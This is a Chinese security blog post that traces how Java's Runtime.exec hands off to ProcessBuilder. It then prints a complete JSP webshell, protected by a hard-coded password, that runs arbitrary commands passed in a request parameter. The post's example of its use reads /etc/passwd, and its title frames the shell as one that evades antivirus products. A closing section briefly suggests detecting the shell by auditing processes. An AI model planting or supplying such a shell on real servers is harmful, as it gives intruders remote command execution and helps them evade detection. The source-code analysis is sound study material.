Author:Sevck

Date:2017年6月24日

昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用bash进行命令:

我:JAVA在执行命令的时候会不会调用bash?
Feng : processbuilder
我:
/**
* Executes the specified command and arguments in a separate process.
*
*/
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
} 我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

好奇JAVA的Runtime是如何实现的,去翻阅JAVA源码查看实现方法:

Runtime执行实例:

Runtime.getRuntime().exec("TODO");

实现代码(文件代码:java/lang/Runtime.java 346 行):

// 方法1
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
// 方法2
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
// 方法3
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
// 方法4
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
// 方法5
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
// 方法6
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
}

从上面可以看出几个重要的信息:

  1. 方法1和方法2调用的是方法3
  2. 方法3调用的是方法6
  3. 方法4和方法5调用的也是方法6
  4. 方法6创建了一个ProcessBuilder对象

至此,是Runtime.getRuntime().exec("TODO")的实现原理,但是还是没有详细的解释清楚是如何实现的,只是说调用了ProcessBuilder类。

ProcessBuilder是J2SE 1.5之后新增的类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。

Process和ProcessBuilder的关系:

每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程。

ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

ProcessBuilder:

  java.lang.ProcessBuilder,父类Object.

源码ProcessBuilder类的注释:

  • This class is used to create operating system processes.
  • Each ProcessBuilder instance manages a collection of process attributes.
  • The start() method creates a new Process instance with those attributes.
  • The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

真对该类有更详细的解释,详情请看:https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

所以,在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的,所以也不会调用bash。

除非一些webshell在调用执行命令的时候指定了bash,例如Runtime.getRuntime().exec("/bin/bash -c id");

利用ProcessBuilder简单写一个webshell:

<%--
Created by IntelliJ IDEA.
User: sevck
Date: 2017/6/24
Time: 10:06
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.Process" %>
<html>
<head>
<title>jsp shell file</title>
</head> <body>
<%
/*
Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd
*/
// Verify OS Windows or Linux
String os = System.getProperty("os.name");
if(os.toLowerCase().startsWith("win")){
out.print("windows");
}else{
out.print("Linux");
}
if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){
// Request Parameter cmd contents conversion String to Strings args.
String command = request.getParameter("cmd");
String [] args = command.split("@");
try {
// Create Process In the process, the received parameter is an array.
ProcessBuilder pb = new ProcessBuilder(args);
// Setup Process Output Result (Normal and Error)
pb.redirectErrorStream(true);
// Start Process
Process pro = pb.start();
}catch (Exception e){
// TODO
String error =e.getMessage();
}
}else {
out.print("业务测试");
}
%>
</body>
</html>
这样,这个webshell就达到了任意命令执行:

我们利用这个测试一下各大厂商查杀效果:
360:

腾讯:

D盾:

安全狗:

微步在线:

检测与遐想:
Audit可以审计每个进程,那么Audit检测JAVA启动的进程是否为异常进程,例如:执行恶意二进制,查看修改文件等。
或者从JVM进行监控。

浅析JAVA Runtime原理与过各大厂商免杀webshell制作的更多相关文章

  1. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  2. 2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

    2018-2019 2 20165203 <网络对抗技术> Exp3 免杀原理与实践 免杀原理与实践说明及基础问答部分 实验任务 正确使用msf编码器(0.5分),msfvenom生成如j ...

  3. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  4. 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

    2018-2019-2 20165209 <网络对抗技术>Exp3:免杀原理与实践 1 免杀原理与实验内容 1.1 免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中 ...

  5. Java JUC之Atomic系列12大类实例讲解和原理分解

    Java JUC之Atomic系列12大类实例讲解和原理分解 2013-02-21      0个评论       作者:xieyuooo 收藏    我要投稿 在java6以后我们不但接触到了Loc ...

  6. 浅析java内存管理机制

    内存管理是计算机编程中的一个重要问题,一般来说,内存管理主要包括内存分配和内存回收两个部分.不同的编程语言有不同的内存管理机制,本文在对比C++和Java语言内存管理机制的不同的基础上,浅析java中 ...

  7. Java入门-浅析Java学习从入门到精通【转】

    一. JDK (Java Development Kit)  JDK是整个Java的核心,包括了Java运行环境(Java Runtime Envirnment),一堆Java工具和Java基础的类库 ...

  8. [转帖]浅析java程序的执行过程

    浅析java程序的执行过程 转帖来源: https://www.cnblogs.com/wangjiming/p/10315983.html 之前学习过 这一块东西 但是感觉理解的不深刻. copy一 ...

  9. 【JVM】linux上tomcat中部署的web服务,时好时坏,莫名其妙宕机,报错:There is insufficient memory for the Java Runtime Environment to continue.

    =========================================================================================== 环境: linu ...

随机推荐

  1. Python之爬虫总结

    一.爬虫之requests a.介绍:使用requests可以模拟浏览器的请求,比起之前用到的urllib,requests模块的api更加便捷(本质就是封装了urllib3)     b.注意:re ...

  2. php提前输出响应及注意问题

    1.浏览器和服务器之间是通过HTTP进行通信的,浏览器发送请求给服务器,服务器处理完请求后,发送响应结果给浏览器,浏览器展示给用户.如果服务器处理请求时间比较长,那么浏览器就需要等待服务器的处理结果. ...

  3. js简单工厂

    我以计算器为例写一个简单工厂模式,只完成加减乘除4个计算功能,考虑到其他功能方便日后扩展,遵循开放-封闭原则. 简单工厂类图: 先看一下C#的简单工厂是如何实现的: 定义抽象类Operation,加减 ...

  4. 分享知识-快乐自己:Spring_IOC(控制反转)详解

    IoC是什么: 1):Ioc—Inversion of Control,即“控制反转”,不是什么技术,而是一种设计思想. 2):在Java开发中,Ioc意味着将你设计好的对象交给容器控制,而不是传统的 ...

  5. shell获取ip地址

    Mac: $ ifconfig en0|awk -F"[ ]+" '/inet/{print $2}' fe80::a211:9bff:fe15:%en0 192.168.0.10 ...

  6. Windows7 如何关闭系统更新

    我们点击开始菜单,找到控制面板这个选项,如图:  然后进入操作中心,如图:  然后选择如图所示的选项,如图:  然后选择更改设置选项,如图:  然后我们选择从不检查更新并点击确定按钮,如图:

  7. Https---SSL协议

    ssl协议的起源和历史我就不再多说了,就是那个Netscape 网景公司开发的,它的作用主要是提供了一种安全传输方式,我们知道网上有很多的时候需要我们去输入用户名和密码,那么假设我们自己的电脑防病毒还 ...

  8. 安装Babel(命令行环境,针对Babel6.x版本)

    1.首先安装babel-cli(用于在终端使用babel) npm install -g babel-cli 2.然后安装babel-preset-es2015插件 npm install --sav ...

  9. fastadmin学习文档

    https://doc.fastadmin.net/docs/index.html 介绍 FastAdmin是一款基于ThinkPHP5+Bootstrap的极速后台开发框架. 主要特性 基于Auth ...

  10. New Concept English three (47)

    Pollution is the price we pay for an overpopulated, over industrialized planet. When you come to thi ...